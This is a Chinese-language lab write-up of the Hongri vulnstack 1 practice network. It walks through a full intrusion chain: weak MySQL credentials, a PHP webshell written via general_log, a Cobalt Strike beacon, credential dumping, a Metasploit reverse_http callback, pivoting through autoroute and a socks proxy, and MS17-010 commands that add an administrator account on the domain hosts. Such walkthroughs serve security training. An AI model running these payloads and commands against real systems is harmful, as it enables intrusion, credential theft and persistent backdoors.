[内网渗透] 红日靶场1
环境配置
靶场地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
win7是双网卡, 一个是要联通外网的,一个是连通内网的
所以要另外配置网卡 VMnet2 192.168.52.0/24
可以看到win7的两张网卡是这样的
开机密码都默认是 hongrisec@2019
打开win7, 先把phpstudy服务打开
网站访问127.0.0.1可以看到 phpStudy 探针
kali上扫描一下c段, 可以找到win7的外网ip
在kali上也可以访问到 (需要将win7的防火墙给关了)
然后将另外两台机子的网卡也设置为VMnet2
这两台靶机登录的时候显示密码过期, 必须要改密码, 给它改成了: hongrisec@2025
win7 是web服务器 , 2003 是域成员 , 2008是域控
win7外网: 192.168.75.132
win7内网: 192.168.52.143
win2003: 192.168.52.141
win2008: 192.168.52.138
外网渗透
先进行一波信息收集
使用nmap扫描一下开放端口
fscan扫描一下, 可以发现主机存在一个永恒之蓝漏洞 (MS17-010)
访问一下80端口, 也就是那个phpstudy探针
可以看到各种的参数, 比如服务器的绝对路径, 甚至最下面还有一个mysql的检测连接, 尝试一些弱口令, 发现root/root可以连接到数据库
dirsearch扫描一下目录, 可以发现一些有用的路由
/phpMyAdmin/index.php
路由可以直接弱口令 root/root 登录上去
进入到数据库了, 还是root的身份, 应该权限很高, 尝试拿shell, 写入文件
但是mysql启用了--secure-file-priv
选项
想要写入恶意文件是不被允许的
通过这个命令查看 MySQL 的 --secure-file-priv 设置
SHOW VARIABLES LIKE 'secure_file_priv';
可以发现它是被设置为了NULL, 所以想要写入shell到文件里面去的这个方法是行不通了
换一个方法 , 通过日志写入shell
利用general_log和general_log_file拿shell
开启general_log后,系统将mysql执行的每一条查询语句写入我们指定位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,执行SELECT ‘<?php assert($_POST["cmd"]);?>’;,这个指令就把木马插入到我们指定的php文件中去了。
执行下面操作,修改general_log_file的值
set global general_log = "ON";
set global general_log_file="C:/phpStudy/WWW/xpw.php"; #这个绝对路径可以通过首页发现
这个时候访问一下 /xpw.php
,可以发现已经存在这个页面了
然后再直接查询一下, 写入shell (这个查询的操作会被记录到日志里面去, 从而将我们的shell给写入到日志文件里面去, 而日志文件之前也已经被设置为了 /xpw.php
)
select "<?php eval($_POST[1]);?>";
连接蚁剑, 可以发现已经成功连接了
内网渗透
上线CS
先在kali端执行
./teamserver [kali IP] [密码]
, 启动团队服务器
再打开图形化界面的客户端, 用刚才的密码连接
就可以进去了
新建监听器
使用CS生成一个木马, 利用蚁剑传上去
将生成的exe文件通过蚁剑上传并执行后可以发现cs成功上线
进入命令界面, 并执行 sleep 1 设置交互时间为1s, 要不然默认1分钟太长了
要注意在执行命令的时候需要前面加上 shell
比如 shell whoami
而不能直接 whoami
抓取用户的明文密码
直接右键
可以看到用户的密码就直接显示出来了
直接将三台主机的密码全给抓到了
提权
右键点击一下
运行之后就会发现多了一个SYSTEM的用户
成功提权
扫描一下就可以发现还存在其他的内网网段, 另外2个主机的ip
和msf联动
先在msf上监听自己的ip和端口
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.75.128
run
然后cs那边创建一个foreign的监听
然后在已有的会话中 新建会话 , 选择刚才建立的foreign监听器
然后就可以发现msf已经拿下了一个会话 (需要先在msf下run, 然后再CS上面新建会话)
getuid
可以发现现在是administrator
可以通过getsystem
来将权限提升到system
执行一下 arp -a
命令, 查看一下本地网络中的其他设备
可以看到还有两台设备
192.168.52.138
192.168.52.141
想要与内网里面的另外两台主机通信, 必须要先搭建路由
(msf需要搭建路由, 而CS是不需要搭建路由的)
默认情况下,Metasploit 只能访问你直接控制的机器,无法自动访问它所在的内网其他设备
搭建路由后,Metasploit 会知道应该通过你的 Meterpreter 会话(已攻陷的 Windows 机器)来访问目标内网机器。
通过路由,攻击者可以在 Metasploit 里直接对目标内网主机发起扫描、攻击、远程利用
添加路由
# 可以用模块自动添加路由
run post/multi/manage/autoroute
#添加一条路由
run autoroute -s 192.168.52.0/24
#查看路由添加情况
run autoroute -p
background
将meterpreter隐藏在后台
sessions -i
查看会话
然后就可以使用它的一些相应的模块进行操作了
比如使用arp模块扫描当前存活主机
use post/windows/gather/arp_scanner
set rhosts 192.168.52.0/24
set session 2
run
现在要拿下另外两台主机, 先进行一个代理, 使用socks5代理
use auxiliary/server/socks_proxy
run
然后编辑sudo vim /etc/proxychains4.conf
然后在命令前面加上 proxychains
就可以使用代理了
也可以火狐浏览器里直接设置socks5代理, 可以直接打开192.168.52.138的web网页
开始攻击win2003 域成员用户的主机: 192.168.52.141
使用nmap扫描端口 proxychains nmap -sT -Pn -T4 192.168.52.141
当然也可以直接使用CS进行端口扫描
(多试一下熟悉熟悉操作)
可以发现他们都扫描到打开了 445端口 , 可以猜测存在MS17-010
永恒之蓝的漏洞
使用永恒之蓝扫描模块查看是否存在漏洞
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run
存在永恒之蓝漏洞 使用msf模块进行攻击
这两个都没成功
windows/smb/ms17_010_eternalblue
windows/smb/ms17_010_psexec
使用这个模块 auxiliary/admin/smb/ms17_010_command
这个模块在目标 Windows 机器上执行任意命令,并不会建立 Meterpreter 会话, 适用于希望直接执行系统命令的情况,而不是获取持久控制
可以通过这个模块在目标主机上添加一个账户
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
可以发现确实执行了输入的命令
现在来添加用户
set command net user hack xpw@123 /add #添加用户
run
set command net localgroup administrators hack /add #将用户添加到管理员组
run
set command net localgroup administrators #查看管理员组用户
run
可以看到hack
用户已经加上去了
现在就已经拿下了 域成员 主机
对于域控主机 192.168.52.138
, 之前已经扫描到了445端口
跟打域成员主机一样, 用上面的操作可以添加用户, 添加到管理员组, 从而拿下域控主机
参考文章:
https://www.freebuf.com/articles/web/324441.html
https://thnpkm.github.io/posts/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA-1/
https://xz.aliyun.com/news/9526?time__1311=QqGhD5BIxjhx%2FYNiQoD%3DTKiKZPmuhPnmD&u_atoken=31a97e1583017303417226016998bd7d&u_asig=1a0c399d17416227486202126e0039